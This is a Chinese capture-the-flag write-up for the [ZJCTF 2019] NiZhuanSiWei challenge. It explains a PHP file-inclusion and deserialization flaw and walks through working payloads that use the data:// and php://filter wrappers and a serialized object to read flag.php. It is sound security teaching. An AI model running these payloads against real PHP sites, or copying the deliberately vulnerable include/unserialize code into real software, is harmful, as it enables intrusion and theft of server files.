详解[ZJCTF 2019]NiZhuanSiWei 1(PHP两种伪协议、PHP反序列化漏洞、PHP强比较)还有那道题有这么经典?

2023-11-16 09:14:37 浏览数 (1)

题目环境:

代码语言:javascript复制
<?php  
  $text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
  echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
  if(preg_match("/flag/",$file)){
    echo "Not now!";
    exit(); 
  }else{
    include($file);  //useless.php
    $password = unserialize($password);
    echo $password;
  }
}
else{
  highlight_file(__FILE__);
}
?>

PHP代码审计

三个通过GET方式传参的参数text、file、password file_get_contents() 函数把整个文件读入一个字符串中。 'r’代表读取内容 &&左右两边条件都要满足,===PHP强比较,类型和值都要相等 满足第一个参数就会输出这段字符串 从这里可以看出,需要用到PHP伪协议中的data协议 第二个参数file就是遇到的就是**正则匹配,**flag关键字被过滤了 当出现flag关键字时,程序就会自动退出,不再进行 反之,如果绕过正则的话,就包含咱们传给file参数的文件 可以看出作者注释里面给的有一个文件,useless.php 下面是对password参数进行反序列化 从这里可以猜出,useless.php文件可能包含的是反序列化内容 然后file参数和password参数联系起来就一目了然了(这里正则并没有用可以直接绕过) 猜测啊,file=useless.php,才能进入password参数那部分(后面可以给大家测试看看)

作者很贴心,打开题目给的有题目源码

当然咱们还可以通过data伪协议和php://filter伪协议去查看useless.php的源码

php://filter伪协议详解文末会给链接 base64编解码文末也会给链接

data协议规则: data://text/plain;编码格式,读取内容 (注意一个是分号;命令拼接,和一个逗号,用来读取文本内容)

如果要读取后边的文件内容,字符串也要进行相应的编码 这里猜测useless.php文件是base64编码格式 所以使用base64编码格式

构造payload: ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

送去base64解码

useless.php源代码

代码语言:javascript复制
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 

较为简单的序列化,直接给参数file赋值flag.php即可

进行序列化

代码语言:javascript复制
<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$flag=new Flag();
echo serialize($flag);
?> 

构造最终payload: ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 上传payload:

这里表明三个参数都已符合了条件

F12查看源码:

得到flag: flag{8fa13eb3-db41-4230-be27-634236f2fe1b}

这里再说明以下,为什么给file参数赋值useless.php,因为你进入了useless.php才能进入password参数那一步! 同时也绕过了正则

我们可以测试一下给file参数传inde.php文件会怎样 payload: ?text=data://text/plain,welcome to the zjctf&file=index.php

?text=data://text/plain,welcome to the zjctf&file=index.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

可以看出,当参数file赋值为index.php文件的时候,一直执行的是index代码内容 那么当参数file赋值为useless.php文件的时候,才会去执行参数password的内容

php://filter伪协议可参考:https://blog.csdn.net/m0_73734159/article/details/130383801?spm=1001.2014.3001.5501 PHP序列化魔法函数可参考:https://blog.csdn.net/m0_73734159/article/details/133854073?spm=1001.2014.3001.5502 PHP强比较可参考:https://blog.csdn.net/m0_73734159/article/details/134349129?spm=1001.2014.3001.5501 base64编码解码网站:https://c.runoob.com/front-end/693/ 【Kali终端也可通过命令进行base64解码】(echo “bae64编码内容” | base64 -d)

0 人点赞